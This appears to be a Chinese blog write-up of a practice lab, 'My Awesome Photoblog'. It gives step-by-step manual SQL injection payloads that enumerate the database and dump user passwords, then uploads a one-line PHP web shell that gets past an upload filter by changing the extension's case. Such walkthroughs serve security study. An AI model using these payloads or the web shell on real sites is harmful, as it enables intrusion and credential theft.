My Awesome Photoblog解(手注)

通过浏览页面发现存在3个可能的注入点

加入'试探都报错,均可注入,我这里选择2010即id=3的位置,这里没有图片遮挡

1.判断查询类型:id=3 or '1'='1' -- 1  返回正常页面,为字符型

 

2.判断前面的查询字段数: order by 4-- 1返回正常,order by 5-- 1报错说没有这列,确定为4列。

也可以用        union select 1,2,3,4-- 1  返回正常,确定2为回显位  union select 1,2,3,4,5-- 1时报错

 

3.查数据库名,id=3 union select 1,database(),3,4-- 1 确定数据库名为photoblog

 4.查询表名:id=3 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='photoblog'-- 1

5.查询列名: id=3 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'-- 1

 6.查询账号密码:id=3 union select 1,password,3,4 from users limit 0,1-- 1

7.解码得到密码为:P4ssw0rd

8.登录,发现有一个文件上传

 

 9.写一句话木马文件        <?phpsystem($_GET['cmd']);?>       保存为yijuhua.Php,上传

 

 报错,不允许php修改文件名为        yijuhua.Php        上传,成功

10.用xshell链接ssh IP

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值